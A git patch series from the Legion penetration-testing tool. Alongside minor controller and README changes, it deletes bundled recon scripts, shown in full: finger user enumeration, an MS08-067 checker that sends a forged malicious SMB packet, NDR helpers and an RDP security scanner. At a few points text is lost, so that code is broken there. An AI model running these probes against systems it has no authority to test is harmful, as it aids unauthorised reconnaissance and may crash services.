--- a/controller/controller.py +++ b/controller/controller.py @@ -548,7 +548,6 @@ def killRunningProcesses(self): # this function creates a new process, runs the command and takes care of displaying the ouput. returns the PID # the last 3 parameters are only used when the command is a staged nmap - def runCommand(self, *args, discovery=True, stage=0, stop=False): def handleProcStop(*vargs): updateElapsed.stop() @@ -598,9 +597,12 @@ def handleProcUpdate(*vargs): qProcess.sigHydra.connect(self.handleHydraFindings) qProcess.finished.connect(lambda: self.processFinished(qProcess)) qProcess.error.connect(lambda: self.processCrashed(qProcess)) + print("runCommand called for stage {0}".format(str(stage))) if stage > 0 and stage < 5: # if this is a staged nmap, launch the next stage - qProcess.finished.connect(lambda: self.runStagedNmap(str(hostip), discovery, stage+1, self.logic.isKilledProcess(str(qProcess.id)))) + print("runCommand connected for stage {0}".format(str(stage))) + nextStage = stage + 1 + qProcess.finished.connect(lambda: self.runStagedNmap(str(hostip), discovery = discovery, stage = nextStage, stop = self.logic.isKilledProcess(str(qProcess.id)))) return qProcess.pid() # return the pid so that we can kill the process if needed @@ -638,7 +640,8 @@ def runPython(self): return qProcess.pid() # recursive function used to run nmap in different stages for quick results - def runStagedNmap(self, iprange, discovery=True, stage=1, stop=False): + def runStagedNmap(self, iprange, discovery = True, stage = 1, stop = False): + print("runStagedNmap called for stage {0}".format(str(stage))) if not stop: textbox = self.view.createNewTabForHost(str(iprange), 'nmap (stage '+str(stage)+')', True) outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmapstage'+str(stage) @@ -667,7 +670,7 @@ def runStagedNmap(self, iprange, discovery=True, stage=1, stop=False): command += "-sT " command += "-p "+ports+' '+iprange+" -oA "+outputfile - self.runCommand('nmap','nmap (stage '+str(stage)+')', str(iprange), '', '', command, getTimestamp(True), outputfile, textbox, discovery, stage, stop) + self.runCommand('nmap','nmap (stage '+str(stage)+')', str(iprange), '', '', command, getTimestamp(True), outputfile, textbox, discovery = discovery, stage = stage, stop = stop) def nmapImportFinished(self): self.updateUI2Timer.stop() From e8439324c1dba136590db76518b9cf6128b4f589 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 6 Dec 2018 15:47:56 -0600 Subject: [PATCH 055/450] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index e50d9d7c..227f4d72 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -LEGION 0.2.1 (https://govanguard.io) +LEGION 0.2.3 (https://govanguard.io) == ## Authors: @@ -19,11 +19,11 @@ git clone https://github.com/GoVanguard/legion.git ``` ## Recommended Python Version -legion supports Python 3.5+. +legion supports Python 3.6+. ## Dependencies * Ubuntu or variant or WSL (Windows Subsystem for Linux) -* Python 3.5+ +* Python 3.6+ * PyQT5 * SQLAlchemy * six From c78e6d90572a37bfe4b2c2a310634b062d6d261d Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 7 Dec 2018 13:02:07 -0600 Subject: [PATCH 056/450] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 227f4d72..b6639953 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,6 @@ LEGION 0.2.3 (https://govanguard.io) == +[![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) ## Authors: Shane Scott From 042b80c30f3aaedb1a4936fcff609f5c1348c7ea Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 7 Dec 2018 13:35:04 -0600 Subject: [PATCH 057/450] Add requirements file --- requirements.txt | 11 + scripts/fingertool.sh | 30 - scripts/ms08-067_check.py | 281 -------- scripts/ndr.py | 1287 ------------------------------------- scripts/rdp-sec-check.pl | 653 ------------------- scripts/smbenum.sh | 79 --- scripts/snmpbrute.py | 789 ----------------------- 7 files changed, 11 insertions(+), 3119 deletions(-) create mode 100644 requirements.txt delete mode 100644 scripts/fingertool.sh delete mode 100644 scripts/ms08-067_check.py delete mode 100644 scripts/ndr.py delete mode 100644 scripts/rdp-sec-check.pl delete mode 100644 scripts/smbenum.sh delete mode 100644 scripts/snmpbrute.py diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 00000000..a59ba5c2 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,11 @@ +aiohttp==3.4.4 +aioredis==1.2.0 +six==1.11.0 +Quamash==0.6.1 +SQLAlchemy==1.3.0b1 +aiomonitor==0.3.1 +APScheduler==3.5.3 +PyQt5==5.11.3 +ntpath==1534770254.427198 +sanic==0.8.3 +sanic_swagger==0.0.4 diff --git a/scripts/fingertool.sh b/scripts/fingertool.sh deleted file mode 100644 index cd51da9c..00000000 --- a/scripts/fingertool.sh +++ /dev/null @@ -1,30 +0,0 @@ -#!/bin/bash -# fingertool - This script will enumerate users using finger -# SECFORCE - Antonio Quina - -if [ $# -eq 0 ] - then - echo "Usage: $0 []" - echo "eg: $0 10.10.10.10 users.txt" - exit - else - IP="$1" -fi - -if [ "$2" == "" ] - then - WORDLIST="/usr/share/metasploit-framework/data/wordlists/unix_users.txt" - else - WORDLIST="$2" -fi - - -for username in $(cat $WORDLIST | sort -u| uniq) - do output=$(finger -l $username@$IP) - if [[ $output == *"Directory"* ]] - then - echo "Found user: $username" - fi - done - -echo "Finished!" diff --git a/scripts/ms08-067_check.py b/scripts/ms08-067_check.py deleted file mode 100644 index f2b02813..00000000 --- a/scripts/ms08-067_check.py +++ /dev/null @@ -1,281 +0,0 @@ -#!/usr/bin/env python - -''' -Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability - -Description: -Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution) - -Author: Bernardo Damele A. G. - -License: Modified Apache 1.1 - -Version: 0.6 - -References: -* BID: 31874 -* CVE: 2008-4250 -* MSB: MS08-067 -* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx -* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx -* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/ -* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb -* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html -* MISC: http://blogs.securiteam.com/index.php/archives/1150 - -Tested: -* Windows 2000 Server Service Pack 0 -* Windows 2000 Server Service Pack 4 with Update Rollup 1 -* Microsoft 2003 Standard Service Pack 1 -* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released - -Notes: -* On Windows XP SP2 and SP3 this check might lead to a race condition and - heap corruption in the svchost.exe process, but it may not crash the - service immediately: it can trigger later on inside any of the shared - services in the process. -''' - - -import socket -import sys - -from optparse import OptionError -from optparse import OptionParser -from random import choice -from string import letters -from struct import pack -from threading import Thread -from traceback import format_exc - -try: - from impacket import smb - from impacket import uuid - from impacket.dcerpc.v5 import dcerpc - from impacket.dcerpc.v5 import transport -except ImportError, _: - print 'ERROR: this tool requires python-impacket library to be installed, get it ' - print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket' - sys.exit(1) - -try: - from ndr import * -except ImportError, _: - print 'ERROR: this tool requires python-pymsrpc library to be installed, get it ' - print 'from http://code.google.com/p/pymsrpc/' - sys.exit(1) - - -CMDLINE = False -SILENT = False - - -class connectionException(Exception): - pass - - -class MS08_067(Thread): - def __init__(self, target, port=445): - super(MS08_067, self).__init__() - - self.__port = port - self.target = target - self.status = 'unknown' - - - def __checkPort(self): - ''' - Open connection to TCP port to check if it is open - ''' - - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(1) - s.connect((self.target, self.__port)) - s.close() - - except socket.timeout, _: - raise connectionException, 'connection timeout' - - except socket.error, _: - raise connectionException, 'connection refused' - - - def __connect(self): - ''' - SMB connect to the Computer Browser service named pipe - Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html - ''' - - try: - self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) - self.__trans.connect() - - except smb.SessionError, _: - raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)' - - except: - #raise Exception, 'unhandled exception (%s)' % format_exc() - raise connectionException, 'unexpected exception' - - - def __bind(self): - ''' - DCERPC bind to SRVSVC (Server Service) endpoint - Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html - ''' - - try: - self.__dce = self.__trans.DCERPC_class(self.__trans) - - self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) - - except socket.error, _: - raise connectionException, 'unable to bind to SRVSVC endpoint' - - except: - #raise Exception, 'unhandled exception (%s)' % format_exc() - raise connectionException, 'unexpected exception' - - - def __forgePacket(self): - ''' - Forge the malicious NetprPathCompare packet - - Reference: http://msdn.microsoft.com/en-us/library/cc247259.aspx - - long NetprPathCompare( - [in, string, unique] SRVSVC_HANDLE ServerName, - [in, string] WCHAR* PathName1, - [in, string] WCHAR* PathName2, - [in] DWORD PathType, - [in] DWORD Flags - ); - ''' - - self.__path = ''.join([choice(letters) for _ in xrange(0, 3)]) - - self.__request = ndr_unique(pointer_value=0x00020000, data=ndr_wstring(data='')).serialize() - self.__request += ndr_wstring(data='\\%s\\..\\%s' % ('A'*5, self.__path)).serialize() - self.__request += ndr_wstring(data='\\%s' % self.__path).serialize() - self.__request += ndr_long(data=1).serialize() - self.__request += ndr_long(data=0).serialize() - - - def __compare(self): - ''' - Compare NetprPathCompare response field 'Windows Error' with the - expected value (WERR_OK) to confirm the target is vulnerable - ''' - - self.__vulnerable = pack(' self.high: - self.data.data = self.high - elif self.data.get_data() < self.low: - self.data.data = self.low - - return self.data.serialize() - -class ndr_enum16(ndr_primitive): - ''' - encode: /* enum16 */ short element_1; - ''' - def __init__(self, **kwargs): - self.data = kwargs.get('data', 0x0004) - self.signed = kwargs.get('signed', True) - self.name = kwargs.get('name', "") - self.size = 2 - - def get_data(self): - return self.data - - def set_data(self, new_data): - self.data = new_data - - def get_name(self): - return self.name - - def get_size(self): - return self.size - - def serialize(self): - if self.signed: - return struct.pack(" install Encoding::BER -# -# References: -# -# [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting Specification -# http://msdn.microsoft.com/en-us/library/cc240445(v=prot.10).aspx -# -use strict; -use warnings; -use IO::Socket::INET; -use Getopt::Long; -use Encoding::BER; - -my %rdp_neg_type; -$rdp_neg_type{"01"} = "TYPE_RDP_NEG_REQ"; -$rdp_neg_type{"02"} = "TYPE_RDP_NEG_RSP"; -$rdp_neg_type{"03"} = "TYPE_RDP_NEG_FAILURE"; - -my %rdp_neg_rsp_flags; -$rdp_neg_rsp_flags{"00"} = "NO_FLAGS_SET"; -$rdp_neg_rsp_flags{"01"} = "EXTENDED_CLIENT_DATA_SUPPORTED"; -$rdp_neg_rsp_flags{"02"} = "DYNVC_GFX_PROTOCOL_SUPPORTED"; - -my %rdp_neg_protocol; -$rdp_neg_protocol{"00"} = "PROTOCOL_RDP"; -$rdp_neg_protocol{"01"} = "PROTOCOL_SSL"; -$rdp_neg_protocol{"02"} = "PROTOCOL_HYBRID"; - -my %rdp_neg_failure_code; -$rdp_neg_failure_code{"01"} = "SSL_REQUIRED_BY_SERVER"; -$rdp_neg_failure_code{"02"} = "SSL_NOT_ALLOWED_BY_SERVER"; -$rdp_neg_failure_code{"03"} = "SSL_CERT_NOT_ON_SERVER"; -$rdp_neg_failure_code{"04"} = "INCONSISTENT_FLAGS"; -$rdp_neg_failure_code{"05"} = "HYBRID_REQUIRED_BY_SERVER"; -$rdp_neg_failure_code{"06"} = "SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER"; - -my %encryption_level; -$encryption_level{"00000000"} = "ENCRYPTION_LEVEL_NONE"; -$encryption_level{"00000001"} = "ENCRYPTION_LEVEL_LOW"; -$encryption_level{"00000002"} = "ENCRYPTION_LEVEL_CLIENT_COMPATIBLE"; -$encryption_level{"00000003"} = "ENCRYPTION_LEVEL_HIGH"; -$encryption_level{"00000004"} = "ENCRYPTION_LEVEL_FIPS"; - -my %encryption_method; -$encryption_method{"00000000"} = "ENCRYPTION_METHOD_NONE"; -$encryption_method{"00000001"} = "ENCRYPTION_METHOD_40BIT"; -$encryption_method{"00000002"} = "ENCRYPTION_METHOD_128BIT"; -$encryption_method{"00000008"} = "ENCRYPTION_METHOD_56BIT"; -$encryption_method{"00000010"} = "ENCRYPTION_METHOD_FIPS"; - -my %version_meaning; -$version_meaning{"00080001"} = "RDP 4.0 servers"; -$version_meaning{"00080004"} = "RDP 5.0, 5.1, 5.2, 6.0, 6.1, 7.0, 7.1, and 8.0 servers"; - -my $enc = Encoding::BER->new(warn => sub{}); -my %config; - -my $VERSION = "0.9-beta"; -my $usage = "Starting rdp-sec-check v$VERSION ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) -Copyright (C) 2014 Mark Lowe (mrl\@portcullis-security.com) - -$0 [ options ] ( --file hosts.txt | host | host:port ) - -options are: - - --file hosts.txt targets, one ip:port per line - --outfile out.log output logfile - --timeout sec receive timeout (default 10s) - --retries times number of retries after timeout - --verbose - --debug - --help - -Example: - $0 192.168.1.1 - $0 --file hosts.txt --timeout 15 --retries 3 - $0 --outfile rdp.log 192.168.69.69:3389 - $0 --file hosts.txt --outfile rdp.log --verbose - -"; - -my $debug = 0; -my $verbose = 0; -my $help = 0; -my $hostfile = undef; -my $outfile = undef; -my @targets = (); - -my $global_recv_timeout = 10; -my $global_connect_fail_count = 5; -my $global_connection_count = 0; - -my $result = GetOptions ( - "verbose" => \$verbose, - "debug" => \$debug, - "help" => \$help, - "file=s" => \$hostfile, - "outfile=s" => \$outfile, - "timeout=i" => \$global_recv_timeout, - "retries=i" => \$global_connection_count, -); - -if ($help) { - print $usage; - exit 0; -} - -if ($debug) { - use Data::Dumper; - use warnings FATAL => 'all'; - use Carp qw(confess); - $SIG{ __DIE__ } = sub { confess( @_ ) }; -} - -if (defined($outfile)){ - # http://stackoverflow.com/questions/1631873/copy-all-output-of-a-perl-script-into-a-file - use Symbol; - my @handles = (*STDOUT); - my $handle = gensym( ); - push(@handles, $handle); - open $handle, ">$outfile" or die "[E] Can't write to $outfile: $!\n"; #open for write, overwrite; - tie *TEE, "Tie::Tee", @handles; - select(TEE); - *STDERR = *TEE; -} - -if (defined($hostfile)) { - open HOSTS, "<$hostfile" or die "[E] Can't open $hostfile: $!\n"; - while () { - chomp; chomp; - my $line = $_; - my $port = 3389; - my $host = $line; - if ($line =~ /\s*(\S+):(\d+)\s*/) { - $host = $1; - $port = $2; - } - my $ip = resolve($host); - if (defined($ip)) { - push @targets, { ip => $ip, hostname => $host, port => $port }; - } else { - print "[W] Unable to resolve host $host. Ignoring line: $line\n"; - } - } - close(HOSTS); - -} else { - my $host = shift or die $usage; - my $port = 3389; - if ($host =~ /\s*(\S+):(\d+)\s*/) { - $host = $1; - $port = $2; - } - my $ip = resolve($host); - unless (defined($ip)) { - die "[E] Can't resolve hostname $host\n"; - } - push @targets, { ip => $ip, hostname => $host, port => $port }; -} - -# flush after every write -$| = 1; - -my $global_starttime = time; -printf "Starting rdp-sec-check v%s ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at %s\n", $VERSION, scalar(localtime); -printf "\nScanning %s hosts\n", scalar @targets; -print Dumper \@targets if $debug > 0; - -foreach my $target_addr (@targets) { - scan_host($target_addr->{hostname}, $target_addr->{ip}, $target_addr->{port}); -} - -print "\n"; -printf "rdp-sec-check v%s completed at %s\n", $VERSION, scalar(localtime); -print "\n"; - -sub scan_host { - my ($host, $ip, $port) = @_; - print "\n"; - print "Target: $host\n"; - print "IP: $ip\n"; - print "Port: $port\n"; - print "\n"; - print "Connecting to $ip:$port\n" if $debug > 1; - my $socket; - my @response; - - print "Checking supported protocols\n\n"; - print "Checking if RDP Security (PROTOCOL_RDP) is supported..."; - $socket = get_socket($ip, $port); - @response = test_std_rdp_security($socket); - if (scalar @response == 19) { - my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; - if ($type eq "TYPE_RDP_NEG_FAILURE") { - printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; - $config{"protocols"}{"PROTOCOL_RDP"} = 0; - } else { - if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_RDP") { - print "Supported\n"; - $config{"protocols"}{"PROTOCOL_RDP"} = 1; - } else { - printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; - } - } - } elsif (scalar @response == 11) { - printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; - $config{"protocols"}{"PROTOCOL_RDP"} = 1; - } else { - print "Not supported - unexpected response\n"; - $config{"protocols"}{"PROTOCOL_RDP"} = 1; - } - - print "Checking if TLS Security (PROTOCOL_SSL) is supported..."; - $socket = get_socket($ip, $port); - @response = test_tls_security($socket); - if (scalar @response == 19) { - my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; - if ($type eq "TYPE_RDP_NEG_FAILURE") { - printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; - $config{"protocols"}{"PROTOCOL_SSL"} = 0; - } else { - if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_SSL") { - print "Supported\n"; - $config{"protocols"}{"PROTOCOL_SSL"} = 1; - } else { - printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; - } - } - } elsif (scalar @response == 11) { - printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; - $config{"protocols"}{"PROTOCOL_SSL"} = 0; - } else { - print "Not supported - unexpected response\n"; - $config{"protocols"}{"PROTOCOL_SSL"} = 0; - } - - print "Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]..."; - $socket = get_socket($ip, $port); - @response = test_credssp_security($socket); - if (scalar @response == 19) { - my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; - if ($type eq "TYPE_RDP_NEG_FAILURE") { - printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; - $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; - } else { - if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_HYBRID") { - print "Supported\n"; - $config{"protocols"}{"PROTOCOL_HYBRID"} = 1; - } else { - printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; - } - } - } elsif (scalar @response == 11) { - printf "Negotiation ignored - old Windows 2000/XP/2003 system??\n"; - $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; - } else { - print "Not supported - unexpected response\n"; - $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; - } - print "\n"; - print "Checking RDP Security Layer\n\n"; - foreach my $enc_hex (qw(00 01 02 08 10)) { - printf "Checking RDP Security Layer with encryption %s...", $encryption_method{"000000" . $enc_hex}; - $socket = get_socket($ip, $port); - @response = test_classic_rdp_security($socket); - - if (scalar @response == 11) { - my @response_mcs = test_mcs_initial_connect($socket, $enc_hex); - unless (scalar(@response_mcs) > 8) { - print "Not supported\n"; - next; - } - my $length1 = ord($response_mcs[8]); - my $ber_encoded = join("", splice @response_mcs, 7); - my $ber = $enc->decode($ber_encoded); - my $user_data = $ber->{value}->[3]->{value}; - my ($sc_core, $sc_sec) = $user_data =~ /\x01\x0c..(.*)\x02\x0c..(.*)/s; - - my ($version, $client_requested_protocols, $early_capability_flags) = $sc_core =~ /(....)(....)?(....)?/; - my ($encryption_method, $encryption_level, $random_length, $server_cert_length) = $sc_sec =~ /(....)(....)(....)(....)/; - my $server_cert_length_i = unpack("V", $server_cert_length); - my $random_length_i = unpack("V", $random_length); - if ("000000" . $enc_hex eq sprintf "%08x", unpack("V", $encryption_method)) { - printf "Supported. Server encryption level: %s\n", $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; - $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 1; - $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 1; - $config{"protocols"}{"PROTOCOL_RDP"} = 1; # This is the only way the script detects RDP support on 2000/XP - } else { - printf "Not supported. Negotiated %s. Server encryption level: %s\n", $encryption_method{sprintf "%08x", unpack("V", $encryption_method)}, $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; - $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 0; - $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 0; - } - my $random = substr $sc_sec, 16, $random_length_i; - my $cert = substr $sc_sec, 16 + $random_length_i, $server_cert_length_i; - } else { - print "Not supported\n"; - } - } - - if ($config{"protocols"}{"PROTOCOL_HYBRID"}) { - if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_RDP"}) { - $config{"issues"}{"NLA_SUPPORTED_BUT_NOT_MANDATED_DOS"} = 1; - } - } else { - # is this really a problem? - $config{"issues"}{"NLA_NOT_SUPPORTED_DOS"} = 1; - } - - if ($config{"protocols"}{"PROTOCOL_RDP"}) { - if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_HYBRID"}) { - $config{"issues"}{"SSL_SUPPORTED_BUT_NOT_MANDATED_MITM"} = 1; - } else { - $config{"issues"}{"ONLY_RDP_SUPPORTED_MITM"} = 1; - } - - if ($config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"}) { - $config{"issues"}{"WEAK_RDP_ENCRYPTION_SUPPORTED"} = 1; - } - - if ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"}) { - $config{"issues"}{"NULL_RDP_ENCRYPTION_SUPPORTED"} = 1; - } - - if ($config{"encryption_method"}{"ENCRYPTION_METHOD_FIPS"} and ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_128BIT"})) { - $config{"issues"}{"FIPS_SUPPORTED_BUT_NOT_MANDATED"} = 1; - } - } - - print "\n"; - print "Summary of protocol support\n\n"; - foreach my $protocol (keys(%{$config{"protocols"}})) { - printf "$ip:$port supports %-15s: %s\n", $protocol, $config{"protocols"}{$protocol} ? "TRUE" : "FALSE"; - } - - print "\n"; - print "Summary of RDP encryption support\n\n"; - foreach my $encryption_level (sort keys(%{$config{"encryption_level"}})) { - printf "$ip:$port has encryption level: %s\n", $encryption_level; - } - foreach my $encryption_method (sort keys(%encryption_method)) { - printf "$ip:$port supports %-25s: %s\n", $encryption_method{$encryption_method}, (defined($config{"encryption_method"}{$encryption_method{$encryption_method}}) and $config{"encryption_method"}{$encryption_method{$encryption_method}}) ? "TRUE" : "FALSE"; - } - - print "\n"; - print "Summary of security issues\n\n"; - foreach my $issue (keys(%{$config{"issues"}})) { - print "$ip:$port has issue $issue\n"; - } - - print Dumper \%config if $debug; -} - -sub test_std_rdp_security { - my ($socket) = @_; - my $string = get_x224_crq_std_rdp_security(); - return do_handshake($socket, $string); -} - -sub test_tls_security { - my ($socket) = @_; - my $string = get_x224_crq_tls_security(); - return do_handshake($socket, $string); -} - -sub test_credssp_security { - my ($socket) = @_; - my $string = get_x224_crq_credssp_security(); - return do_handshake($socket, $string); -} - -sub test_classic_rdp_security { - my ($socket) = @_; - my $string = get_x224_crq_classic(); - return do_handshake($socket, $string); -} - -sub test_mcs_initial_connect { - my ($socket, $enc_hex) = @_; - my $string = get_mcs_initial_connect($enc_hex); - return do_handshake($socket, $string); -} - -sub do_handshake { - my ($socket, $string) = @_; - print "Sending:\n" if $debug > 1; - hdump($string) if $debug > 1; - - print $socket $string; - - my $data; - - local $SIG{ALRM} = sub { die "alarm\n" }; - eval { - alarm($global_recv_timeout); - $socket->recv($data,4); - alarm(0); - }; - if ($@) { - print "[W] Timeout on recv. Results may be unreliable.\n"; - } - - if (length($data) == 4) { - print "Received from Server :\n" if $debug > 1; - hdump($data) if $debug > 1; - my @data = split("", $data); - my $length = (ord($data[2]) << 8) + ord($data[3]); - printf "Initial length: %d\n", $length if $debug > 1; - my $data2 = ""; - while (length($data) < $length) { - local $SIG{ALRM} = sub { die "alarm\n" }; - eval { - alarm($global_recv_timeout); - $socket->recv($data2,$length - 4); - alarm(0); - }; - if ($@) { - print "[W] Timeout on recv. Results may be unreliable.\n"; - } - print "Received " . length($data2) . " bytes from Server :\n" if $debug > 1; - hdump($data2) if $debug > 1; - $data .= $data2; - } - return split "", $data; - } else { - return undef; - } -} - -# http://www.perlmonks.org/?node_id=111481 -sub hdump { - my $offset = 0; - my(@array,$format); - foreach my $data (unpack("a16"x(length($_[0])/16)."a*",$_[0])) { - my($len)=length($data); - if ($len == 16) { - @array = unpack('N4', $data); - $format="0x%08x (%05d) %08x %08x %08x %08x %s\n"; - } else { - @array = unpack('C*', $data); - $_ = sprintf "%2.2x", $_ for @array; - push(@array, ' ') while $len++ < 16; - $format="0x%08x (%05d)" . - " %s%s%s%s %s%s%s%s %s%s%s%s %s%s%s%s %s\n"; - } - $data =~ tr/\0-\37\177-\377/./; - printf $format,$offset,$offset,@array,$data; - $offset += 16; - } -} - -sub get_x224_crq_std_rdp_security { - return get_x224_connection_request("00"); -} - -sub get_x224_crq_tls_security { - return get_x224_connection_request("01"); -} - -sub get_x224_crq_credssp_security { - return get_x224_connection_request("03"); -} - -sub get_x224_crq_classic { - return get_old_connection_request(); -} - -# enc_hex is bitmask of: -# 01 - 40 bit -# 02 - 128 bit -# 08 - 56 bit -# 10 - fips -# -# common value sniffed from wireshark: 03 -sub get_mcs_initial_connect { - my $enc_hex = shift; - my @packet_hex = qw( - 03 00 01 a2 02 f0 80 7f 65 82 - 01 96 04 01 01 04 01 01 01 01 ff 30 20 02 02 00 - 22 02 02 00 02 02 02 00 00 02 02 00 01 02 02 00 - 00 02 02 00 01 02 02 ff ff 02 02 00 02 30 20 02 - 02 00 01 02 02 00 01 02 02 00 01 02 02 00 01 02 - 02 00 00 02 02 00 01 02 02 04 20 02 02 00 02 30 - 20 02 02 ff ff 02 02 fc 17 02 02 ff ff 02 02 00 - 01 02 02 00 00 02 02 00 01 02 02 ff ff 02 02 00 - 02 04 82 01 23 00 05 00 14 7c 00 01 81 1a 00 08 - 00 10 00 01 c0 00 44 75 63 61 81 0c 01 c0 d4 00 - 04 00 08 00 20 03 58 02 01 ca 03 aa 09 04 00 00 - 28 0a 00 00 68 00 6f 00 73 00 74 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 04 00 00 00 00 00 00 00 0c 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 01 ca 01 00 00 00 00 00 18 00 07 00 01 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 04 c0 0c 00 09 00 00 00 00 00 00 00 02 c0 0c 00 - ); - push @packet_hex, $enc_hex; - push @packet_hex, qw(00 00 00 00 00 00 00 03 c0 20 00 02 00 00 00 - 63 6c 69 70 72 64 72 00 c0 a0 00 00 72 64 70 64 - 72 00 00 00 80 80 00 00 - ); - my $string = join("", @packet_hex); - $string =~ s/(..)/sprintf("%c", hex($1))/ge; - return $string; -} - -# MS-RDPBCGR -sub get_x224_connection_request { - my $sec = shift; - my @packet_hex; - push @packet_hex, qw(03); # tpktHeader - version - push @packet_hex, qw(00); # tpktHeader - reserved - push @packet_hex, qw(00 13); # tpktHeader - length - push @packet_hex, qw(0e); # x224Crq - length - push @packet_hex, qw(e0); # x224Crq - connection request - push @packet_hex, qw(00 00); # x224Crq - ?? - push @packet_hex, qw(00 00); # x224Crq - src-ref - push @packet_hex, qw(00); # x224Crq - class - push @packet_hex, qw(01); # rdpNegData - type - push @packet_hex, qw(00); # rdpNegData - flags - push @packet_hex, qw(08 00); # rdpNegData - length - push @packet_hex, ($sec, qw(00 00 00)); # rdpNegData - requestedProtocols. bitmask, little endian: 0=standard rdp security, 1=TLSv1, 2=Hybrid (CredSSP) - - my $string = join("", @packet_hex); - $string =~ s/(..)/sprintf("%c", hex($1))/ge; - return $string; -} - -sub get_old_connection_request { - my @packet_hex = qw( - 03 00 00 22 1d e0 00 00 00 00 - 00 43 6f 6f 6b 69 65 3a 20 6d 73 74 73 68 61 73 - 68 3d 72 6f 6f 74 0d 0a - ); - my $string = join("", @packet_hex); - $string =~ s/(..)/sprintf("%c", hex($1))/ge; - return $string; -} - -sub get_socket { - my ($ip, $port) = @_; - my $socket = undef; - my $failcount = 0; - while (!defined($socket)) { - $global_connection_count++; - eval { - local $SIG{ALRM} = sub { die "alarm\n" }; - alarm($global_recv_timeout); - $socket = new IO::Socket::INET ( - PeerHost => $ip, - PeerPort => $port, - Proto => 'tcp', - ) or print "WARNING in Socket Creation : $!\n"; - alarm(0); - }; - if ($@) { - print "[W] Timeout on connect. 